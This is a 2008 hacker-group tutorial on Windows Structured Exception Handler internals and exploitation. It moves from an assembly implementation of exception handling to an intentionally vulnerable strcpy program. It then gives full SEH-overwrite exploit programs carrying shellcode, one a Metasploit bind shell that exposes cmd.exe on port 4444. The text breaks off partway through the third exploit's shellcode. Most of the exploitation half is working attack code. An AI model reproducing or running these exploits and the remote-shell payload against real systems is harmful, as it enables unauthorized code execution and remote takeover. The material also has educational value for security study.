Playing around with SEH (the Structured Exception Handler).
c7158a80a10a00b235f36244a69e20b2d720bd2edaa52bfc0b4185121a5072c4
..//..//..//..//..//.|.\\..\\.\\..\\..\\..
[-] [+]
[+] Playing around with (old?)SEH [-]
[-] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [+]
[+] [-]
[-] bY suN8Hclf aka crimsoN_Loyd9 [+]
[+] [-]
[-] DaRk-CodeRs Group production, kid [+]
[+] [-]
[-] www.dark-coders.pl [+]
[+] [-]
[-] 08.06.2008 [+]
[+] [-]
[-] suN8Hclf[at]vp{dot}.pl [+]
[+] crimson{dot}loyd[at]gmail{dot}com [-]
[-] [+]
..\\..\\..\\..\\..\\.|.//..//..//..//..//..
[>>1<<]. Introduction
[>>2<<]. SEH (Structured Exception Handler)
[>>3<<]. Coding SEH
[>a<] introduction
[>b<] implementation
[>>4<<]. Exploiting SEH
[>a<] shellcodes
[>b<] vulnerable vuln.exe
[>c<] WIN2000 vs. WINXP SP1 (EBX vs. ESP)
[***exploit1.c](classic overflow)
[***exploit2.c](using 2 bytes short reverse jump)
[***exploit3.c](using long reverse jump)
[***exploit4.c](execution in TEB block)
[>>5<<]. Summary
[>>6<<]. Further reading
[>>7<<]. Greetz
NOTE: Please excuse my poor English, its not my mother language.
><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
> [>>1<<]. Introduction <
>---------------------------------------------------------<
This paper is about a very powerful but not so good documented mechanism,
which was introduced and implemented in Windows 2000 SP1-SP4 and XP SP0-SP1,
and is called Structured Exception Handler (in summary SEH).
Someone can think that writing about quite old implementations is wasting of time,
in times when we have protections such as DEP (Data Execution Prevention), /GS
or /SAFESEH switches. But, in my opinion, this paper contains a good introduction
into the SEH's workings and provides firm bases to understand exploitation
methods in Windows Server 2003, Windows XP SP2 or Windows Vista platforms.
This paper is an attempt to show and discuss SEH, from the coding and exploitation
side.
At the beginning, I will show how to write our own implementation of try, except
and finally instructions, later I will discuss some methods of abusing SEH and
at the end, I will show 4 completely working exploits, which abuses SEH to execute
any code.
For better understanding of this paper, I recommend you to read my article:
"Shellcode locations and buffer overflows in Windows" [1]
Ok, so lets go!!!
><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
> [>>2<<]. SEH (Structured Exception Handler) <
>---------------------------------------------------------<
Structured Exception Handler is a piece of code, that is executed
in case of a problem during the execution of a process. This problem can be:
1.disruption of the access privilidges
2.division by 0
3.an attempt to read or write from/to forbidden memory areas
It can be also used as a trick to complicate debugging process.
When we call a function, a special "frame of calling" is created on the stack.
The information about exception handler procedure is than put down into
that "frame of calling" in the EXCEPTION_REGISTRATION structure. This structure
contains two elements: a pointer to the next EXCEPTION_REGISTRATION structure (*next)
and a pointer to the right exception handler procedure (*handler). It is very important
that every process's thread has at least one exception handler procedure, that is
created (the EXCEPTION_REGISTRATION structure) during the thread creation and it is
always located at the beginning of the segment pointed by FS register. The last
position on the list, contains -1(0xFFFFFFFF) value and the address of RtlUnwind
funtion, which is not documented but it is located in kernel32.dll library.
EXCEPTION_REGISTRATION structure looks like the following(C style):
typedef struct EXCEPTION_REGISTRATION{
EXCEPTION_REGISTRATION *next;
PEXCETION_HANDLER *handler;
}EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION;
And the linked list of EXCEPTION_REGISTRATION structures looks like this:
__________________________________
|Thread Information Block(fs:[0])|----------+
| ... | |
| ... | |
| EXCEPTION_REGISTRATION | |
+--------------------------------+ |
|
|
+----------------------------------+ |
| EXCEPTION_REGISTRATION | <-------+
+----------------------------------+
| [Handler Callback Pointer] |
| |
+---------| [*next] |
| +----------------------------------+
|
| +----------------------------------+
+-------->| EXCEPTION_REGISTRATION |
+----------------------------------+
| [Handler Callback Pointer] |
| |
| [*next] |---------+
+----------------------------------+ |
|
+----------------------------------+ |
| EXCEPTION_REGISTRATION | <-------+
+----------------------------------+
| [Handler Callback Pointer] |
| |
+--------| [*next] |
| +----------------------------------+
|
|
| +----------------------------------+
+------->| (END OF LIST) |
+----------------------------------+
| 0xFFFFFFFF |
+----------------------------------+
><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
> [>>3<<]. Coding SEH <
>---------------------------------------------------------<
Lots of programming languages has a set of special instructions to install
exception handler procedures. For instance: In C/C++ there is a construction:
try, except/catch, finally, that catches the exception. Basically, this instructions
only modify the linked list of EXCEPTION_REGISTRATION structures, therefore we
wont use them and for better and deeper understanding of this mechanism, we will
write everything in Assembly language(masm32).
>>>>>>>>>>>>>>>>[>a<] introduction
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Let's assume that this code appeared in a program(from OllyDbg):
00401000 . B8 40000000 MOV EAX,40
00401005 . 33C9 XOR ECX,ECX
00401007 . F7F9 IDIV ECX
00401009 . 6A 00 PUSH 0 [!]
0040100B . E8 00000000 CALL <JMP.&kernel32.ExitProcess> [!]
This code on the 100 percent will raise an exception (division by zero is impossible).
The two last instructions wont be executed. Here is a program behaviour when the
exception will accure:
ntdll!KiUserExceptionDispatcher
77FA15FC 8B1C24 MOV EBX,DWORD PTR SS:[ESP]
77FA15FF 51 PUSH ECX
77FA1600 53 PUSH EBX ; kernel32.79340000
77FA1601 E8 F13AFFFF CALL ntdll.77F950F7 ------+
|
|
|
|
77F950F7 55 PUSH EBP <-------------+
77F950F8 8BEC MOV EBP,ESP
77F950FA 83EC 60 SUB ESP,60
77F950FD 53 PUSH EBX
77F950FE 56 PUSH ESI ; kernel32.GetProcAddress
77F950FF 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C]
77F95102 57 PUSH EDI ; kernel32.79397598
77F95103 50 PUSH EAX
77F95104 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
77F95107 50 PUSH EAX
77F95108 E8 779AFFFF CALL ntdll.77F8EB84
77F9510D E8 8D9AFFFF CALL ntdll.77F8EB9F
77F95112 8365 FC 00 AND DWORD PTR SS:[EBP-4],0
77F95116 8BD8 MOV EBX,EAX
77F95118 83FB FF CMP EBX,-1
77F9511B 0F84 C1CC0100 JE ntdll.77FB1DE2
77F95121 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8]
77F95124 3B5D F8 CMP EBX,DWORD PTR SS:[EBP-8] ; kernel32.79348EC8
77F95127 8D43 08 LEA EAX,DWORD PTR DS:[EBX+8]
77F9512A 0F82 AECC0100 JB ntdll.77FB1DDE
77F95130 3B45 F4 CMP EAX,DWORD PTR SS:[EBP-C] ; kernel32.7935F0B4
77F95133 0F87 A5CC0100 JA ntdll.77FB1DDE
77F95139 F6C3 03 TEST BL,3
77F9513C 0F85 9CCC0100 JNZ ntdll.77FB1DDE
77F95142 F605 86F5FC77 80 TEST BYTE PTR DS:[77FCF586],80
77F95149 0F85 18CC0100 JNZ ntdll.77FB1D67
77F9514F FF73 04 PUSH DWORD PTR DS:[EBX+4]
77F95152 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10]
77F95155 50 PUSH EAX
77F95156 FF75 0C PUSH DWORD PTR SS:[EBP+C]
77F95159 53 PUSH EBX
77F9515A 56 PUSH ESI ; kernel32.GetProcAddress
77F9515B E8 E599FFFF CALL ntdll.77F8EB45 -------+
|
|
|
|
77F8EB45 BA B651F977 MOV EDX,ntdll.77F951B6 <---+
77F8EB4A 55 PUSH EBP
77F8EB4B 8BEC MOV EBP,ESP
77F8EB4D FF75 0C PUSH DWORD PTR SS:[EBP+C]
77F8EB50 52 PUSH EDX
77F8EB51 64:FF35 00000000 PUSH DWORD PTR FS:[0]
77F8EB58 64:8925 00000000 MOV DWORD PTR FS:[0],ESP
77F8EB5F FF75 14 PUSH DWORD PTR SS:[EBP+14]
77F8EB62 FF75 10 PUSH DWORD PTR SS:[EBP+10]
77F8EB65 FF75 0C PUSH DWORD PTR SS:[EBP+C]
77F8EB68 FF75 08 PUSH DWORD PTR SS:[EBP+8]
77F8EB6B 8B4D 18 MOV ECX,DWORD PTR SS:[EBP+18] [4]
77F8EB6E FFD1 CALL ECX [5]
This code can be long analized to get to know all details how Windows prepares the
handling of exceptions. But, it is not essential at this moment. The most
important thing, is to understand general conception, which is presented below:
1. When an exception occures, program jumps to KiUserExceptionDispatcher
2. Then the RTLTraceDatabaseEnumerate function's code is executed
3. Later, the piece of RTLConvertlongToLargeInteger's code
4. Finally, the address of the exception handler procedure is loaded into
ECX register ([4]).This is the address from the first structure pointed by
fs:[0].
5. There is a jump to the exception handler procedure (call ECX) ([5])
6. Now the exception handler procedure has the full control over a program's behaviour.
This procedure can for example close the process in the "elegant" way or try to repair
the "thing", that caused an exception.
>>>>>>>>>>>>>>[>b<] implementation
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Now, when we know the basics of the exceptions handling, we can write our own
"implementation" of the try, except/catch, finally construction. To achieve this
we have got to create our own EXCEPTION_REGISTRATION structure and insert it
at the beginning of the linked list. So fs:[0] should point to our structure. The
general idea is showed below:
BEFORE
------------------
fs:[0] ->>> |EXCEPTION_REGISTRATION1| ->>> |EXCEPTION_REGISTRATION2| .... ->>> 0xFFFFFFFF
AFTER
------------------
fs:[0] ->>> |OUR_EXCEPTION_REGISTRATION1| ->>> |EXCEPTION_REGISTRATION1| .... ->>>> 0xFFFFFFFF
To accomplish the state showed above, we have got to do the following:
1. Save the pointer from FS:[0], that points to the first EXCEPTION_REGISTRATION
2. Create our own EXCEPTION_REGISTRATION structure where:
a> the *handler pointer points to our own exception handler procedure
b> we set the address to the function, which will be "always" executed (finally
instruction)
c> the *next pointer points to the remembered address of the original first
EXCEPTION_REGISTRATION structure (original FS:[0] value)
3. Set the address from FS:[0] to point to our EXCEPTION_REGISTRATION structure
4. Save current values of the stack pointer and the frame pointer (ESP and EBP)
To do the second point we can use the following structure:
---------------------------------CODE----------------------------------
SEH struct
PrevLink dd ? ; [1]
CurrentHandler dd ? ; [2]
SafeOffset dd ? ; [3]
PrevEsp dd ? ; [4]
PrevEbp dd ? ; [5]
SEH ends
---------------------------------CODE----------------------------------
[1] -> address of the first EXCEPTION_REGISTRATION structure (fs:[0])
[2] -> address of our structured handler procedure
[3] -> address of the procedure to execute "despite of everything" (finally instruction)
[4] -> current ESP value
[5] -> current EBP value
Next actions:
ad 1. push fs:[0]
ad 2.a) mov seh.CurrentHandler, OFFSET myFunc
b) mov seh.SafeOffset, OFFSET final
c) pop seh.PrevLink
ad 3. lea eax, seh
mov fs:[0], eax
ad 4. mov seh.PrevEsp,esp
mov seh.PrevEbp,ebp
Here is an exemplary program:
---------------------exception_implementation.asm-----------------
; Compilation: ml /Cp /c /coff exception_implementation.asm
; Linking : link /subsystem:windows exception_implementation.obj
.386
.model flat,stdcall
option casemap:none
include d:\masm32\include\windows.inc
include d:\masm32\include\kernel32.inc
include d:\masm32\include\user32.inc
includelib d:\masm32\lib\user32.lib
includelib d:\masm32\lib\kernel32.lib
SEH struct
PrevLink dd ?
CurrentHandler dd ?
SafeOffset dd ?
PrevEsp dd ?
PrevEbp dd ?
SEH ends
.data
napis db "IN exception",0
napis2 db "OUT of Exception",0
tytul db "Hello",0
.code
start proc
LOCAL seh:SEH
assume fs:nothing
push fs:[0]
pop seh.PrevLink
mov seh.CurrentHandler,offset SEHHandler
mov seh.SafeOffset,offset FinalExit
lea eax,seh
mov fs:[0], eax
mov seh.PrevEsp,esp
mov seh.PrevEbp,ebp
; Now the structured handler procedure has been installed. Every exception
; will execute OUR function (SEHHandler)
mov eax, 40h
mov ecx, 0
idiv ecx ;lets cause an exception... ;>
FinalExit:
invoke MessageBox, NULL, addr napis2, addr tytul, MB_OK
invoke ExitProcess, 0
start endp
SEHHandler proc C uses edx pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
mov edx,pFrame
assume edx:ptr SEH
mov eax,pContext
assume eax:ptr CONTEXT
push [edx].SafeOffset
pop [eax].regEip
push [edx].PrevEsp
pop [eax].regEsp
push [edx].PrevEbp
pop [eax].regEbp
invoke MessageBox, NULL, ADDR napis,ADDR tytul, MB_OK
mov eax,ExceptionContinueExecution
ret
SEHHandler endp
end start
---------------------exception_implementation.asm-----------------
><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><
> [>>4<<]. Exploiting SEH <
>---------------------------------------------------------<
>>>>>>>>>>>>>>>>[>a<] shellcodes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
During this paper I will be using two shellcodes:
>The first one<:
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3"
"\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0"
"\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90"
"\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0"
"\x75\x73\x65\x72\x33\x32\x61";
In details:
00401B7C EB 02 JMP SHORT vuln.00401B80
00401B7E EB 05 JMP SHORT vuln.00401B85
00401B80 E8 F9FFFFFF CALL vuln.00401B7E
00401B85 5B POP EBX
00401B86 33C9 XOR ECX,ECX
00401B88 83C3 35 ADD EBX,35
00401B8B 880B MOV BYTE PTR DS:[EBX],CL
00401B8D 83EB 06 SUB EBX,6
00401B90 53 PUSH EBX
00401B91 B8 CF053579 MOV EAX,KERNEL32.LoadLibraryA //check the address of LoadLibraryA on your own
00401B96 FFD0 CALL EAX
00401B98 33C9 XOR ECX,ECX
00401B9A 51 PUSH ECX
00401B9B 53 PUSH EBX
00401B9C 53 PUSH EBX
00401B9D 51 PUSH ECX
00401B9E 05 11111111 ADD EAX,11111111
00401BA3 2D 79900E11 SUB EAX,110E9079
00401BA8 FFD0 CALL EAX //here, in eax should be an address of
00401BAA 33C9 XOR ECX,ECX //MessageBoxA function
00401BAC 51 PUSH ECX
00401BAD B8 1AE03479 MOV EAX,KERNEL32.ExitProcess //address of ExitProcess
00401BB2 FFD0 CALL EAX
00401BB4 75 73 JNZ SHORT vuln.00401C29 //coded 'user32.dll' string
00401BB6 65:72 33 JB SHORT vuln.00401BEC
00401BB9 3261 XOR AL,BYTE PTR DS:[EAX]
Wow, I have written it under Windows 2000 Service Pack 4 Polish. If you are
using another Windows platform, you should change address of LoadLibraryA,
MessageBoxA and ExitProcess in kernel32 and User32 to good ones.
As you can see, this simple code simply invokes MessageBoxA and then
it terminates the process.
>The second one<
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]
//http://metasploit.com
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
The second, was generated in Metasploit Framework. It binds
Windows shell (cmd.exe) to port 4444 and waits for a connection.
>>>>>>>>>>[>b<] vulnerable vuln.exe
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Generally speaking, during the process of exploitation, we want to overwrite the
*handler pointer. This is the only thing that we have got to do, when we want our code
be executed during an exception.
Ok, so now an exception accures...
Then, the overwritten *handler pointer is loaded into the ECX register and there
is a call to it (call ECX). And now we have a problem...
Where should we jump?
In Windows 2000 SP1-SP4 and Windows XP Unpatched, during the preparation to execute
Structured Exception Handler and during the execution of the *handler code, the EBX register
points to the current EXCEPTION_REGISTRATION structure. The easiest way to execute our
own code looks like the following:
1. The *next field should be overwritten with the short 6 bytes ahead jump
2. The *handler field should be overwritten with a jump to EBX (jmp EBX, call EBX
push EBX-ret)
3. We put our shellcode with a NOP sledge behind the EXCEPTION_REGISTRATION structure
Before we test this idea, lets write a very easy and vulnerable program:
----------------vuln.c---------------------
#include <stdio.h>
#include <windows.h>
int main(int argc, char *argv[])
{
char buffer[300];
int a;
strcpy(buffer, argv[1]); [1]
a=3/0; [2]
return 0;
}
---------------vuln.c----------------------
Before we start, lets make some guide lines. First of all, to accomplish
the scenario, which I have described above, it is essential to cause an
exception in the vulnerable program. If we run the vuln.exe program with
a short string, it will crash on the [2] instruction. It will raise an exception,
a default *handler procedure will be executed, program will be terminated and
we will lose a chance to gain administrator privileges :).
On the other side the instuction above[2], copies data to the constant sized
buffer on the stack and it does not check the data's length. So we can cause
buffer overflows and execute our code. Of course, in practice there would not
be instruction[2] because the overwritten EIP register(classic buffer overflow)
would cause an exception. [2] is only here, to show that program wont crash
during division by 0, and it will execute any code.
[NOTE1 !!!!!]
*******************************************************************************
*To make our thinking much easier lets assume that 416 bytes is the maximum of*
*data that DOES NOT overwrite the *next pointer int the EXCEPTION_REGISTRATION*
*structure on the stack. *
[NOTE2!!!!]
*******************************************************************************
*All constants values in the exploits's code ware counted during testing and *
*debugging. It is a mistake to assume that they are good in all conditions. *
*If you exactly understand a method of exploitation, you wont have any *
*problems to choose the right "constant" values. *
>>>>>>>>[>c<] WIN2000 vs. WINXP SP1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
As I have written above in Win2000 and unpatched WINXP, during the preparation
to execute and execution of the exception handler procedure, the EBX register
points to the current EXCEPTION_REGISTRATION structure. In this case the situation
is quite simple. We overwrite the *handler poiner with the jmp to the EBX and
we have full control over the program execution.
The problem occures in Windows XP SP1. Here, the code, that prepares to pass the
control to exception handler procedure, is additionally supplemented with zero-ing
"crytical" registers:
(from ntdll.dll):
7C903767 53 PUSH EBX
7C903768 56 PUSH ESI
7C903769 57 PUSH EDI ; ntdll.7C910738
7C90376A 33C0 XOR EAX,EAX
7C90376C 33DB XOR EBX,EBX <-- fuck, and what we gonna do now? ;(
7C90376E 33F6 XOR ESI,ESI
7C903770 33FF XOR EDI,EDI ; ntdll.7C910738
Later, there is useless for us code and then there is an execution of the
exception handler procedure (the same as in Win2000):
(from ntdll.dll)
7C903799 55 PUSH EBP
7C90379A 8BEC MOV EBP,ESP
7C90379C FF75 0C PUSH DWORD PTR SS:[EBP+C]
7C90379F 52 PUSH EDX ; ntdll.7C9037D8
7C9037A0 64:FF35 0000000>PUSH DWORD PTR FS:[0]
7C9037A7 64:8925 0000000>MOV DWORD PTR FS:[0],ESP
7C9037AE FF75 14 PUSH DWORD PTR SS:[EBP+14]
7C9037B1 FF75 10 PUSH DWORD PTR SS:[EBP+10]
7C9037B4 FF75 0C PUSH DWORD PTR SS:[EBP+C]
7C9037B7 FF75 08 PUSH DWORD PTR SS:[EBP+8]
7C9037BA 8B4D 18 MOV ECX,DWORD PTR SS:[EBP+18] <-- *handler to ECX
7C9037BD FFD1 CALL ECX <-- jump to exception handler procedure
So, when Windows passes the control to the exception handler procedure, the EBX
register contains 0. We cannot simply jump to EBX because this will raise another
exception and program will be terminated immediately. The situation seems very
bad but if we only look at the stack image before the execution of *handler procedure
we will find the solution very fast.
ESP -> the return address (somewhere in ntdll.dll)
ESP+4 -> the exception's indicator
ESP+8 -> the address of the EXCEPTION_REGISTRATION structure
So, instead of jumping to EBX we can:
1. jmp dword ptr[esp+8]
2. pop - pop - ret
The second sequence will add 8 to ESP and then will jump to the address, that is on the
top of the stack.
Now, we know everything so we can start exploiting SEH :)
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&>&>&<&><&>&<>&<>&<&><&>666[***exploit1.c]666<&><&>&<>&<>&<&><&>&<&<&
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(classic overflow)
As I have written before, we pass to the vuln.exe the folowing string:
+--------->-------->-----------+
| |
[416 bytes of trash][jmp 6][jmp ebx, pop-pop-ret][some NOPs][shellcode]
--------------------------------exploit1.c-------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define RET 0x79396DBE // the address of jmp ebx (win2000) or pop-pop-ret (win XP SP2)
#define JUMP 0x909006EB // jmp 6
#define TRASH 0x41
char shellcode[]=
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3"
"\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0"
"\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90"
"\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0"
"\x75\x73\x65\x72\x33\x32\x61";
int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;
memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;
for(i=0;i<416;i++)
(*ptr++) = TRASH;
*(unsigned long *)&buf[416] = JUMP;
*(unsigned long *)&buf[420] = RET;
strcat(buf, "\x90\x90\x90\x90");
strcat(buf, shellcode);
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
--------------------------------exploit1.c-------------------------------
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&>&>&<&><&>&<>&<>&<&><&>666[***exploit2.c]666<&><&>&<>&<>&<&><&>&<&<&
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(using 2 bytes short reverse jump)
Another interesting way to abuse SEH is to use 2-bytes reverse short jump.
Instead of placing shellcode behind the EXCEPTION_REGISTRATION structure, we put it
in the vuln.exe's buffer and we use short reverse jump to execute the code.
A great article about 2-bytes reverse short jumps can be found at[2]
+-------<----------<-------<-----------+
| |
[NOP Sledge][shellcode][some NOPS][short reverse jump][jmp ebx, pop-pop-ret]
--------------------------------exploit2.c-------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define RET 0x79392C0B //jmp ebx, pop-pop-ret
#define JUMP 0x909080EB //short reverse jump (jmp 80)
#define TRASH 0x90
char shellcode[] =
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3"
"\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0"
"\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90"
"\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0"
"\x75\x73\x65\x72\x33\x32\x61";
int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;
memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;
for(i=0;i<310;i++)
(*ptr++) = TRASH;
strcat(buf, shellcode);
for(i=sizeof(shellcode)+307;i<416;i++)
strcat(buf, "\x90");
*(unsigned long *)&buf[416] = JUMP;
*(unsigned long *)&buf[420] = RET;
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
--------------------------------exploit2.c-------------------------------
As you can see, it is very important to jump to the NOPS before the shellcode.
Short jumps are... SHORT !!! :) so shellcode should be as near as possible to
EXCEPTION_REGISTRATION structure.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&>&>&<&><&>&<>&<>&<&><&>666[***exploit3.c]666<&><&>&<>&<>&<&><&>&<&<&
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(using long reverse jump)
Till now, we were playing with quite small (short) shellcode (the first one).
To execute larger shellcodes (400 bytes in our case) we have got to find
a place for it. Here the knowledge from my paper [1] will be very very useful.
As you probably know, we cannot use the first method to execute our second
shellcode because it will be cut (shellcode). The second method with short jump
would also fail because the range of the jump is too small. It wont jump
over 400 bytes of shellcode + some NOP's.
The good idea is a small modyfication of the second method. We also place our
shellcode in the vuln.exe's buffer and we ALSO jump there but in another way :)
To accomplish it, we have got to know the approximate location of the shellcode
on the stack. In case of Win2000 it is very simple, because the EBX register
points to the current EXCEPTION_REGISTRATION structure, so the buffer must be
somewhere before the structure.
But on Win XP SP1 there is a problem because the EBX register is zeroed, therefore
we have got to find another point of reference to count the address, where the
shellcode was placed. We can use the current stack pointer (ESP). But this time,
we have got to add a value to ESP and than jump.
--------------------------------exploit3.c-------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define RET 0x79392C0B //jmp ebx or pop-pop-ret
#define JUMP 0x909006EB //jump 6
char shellcode[]=
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
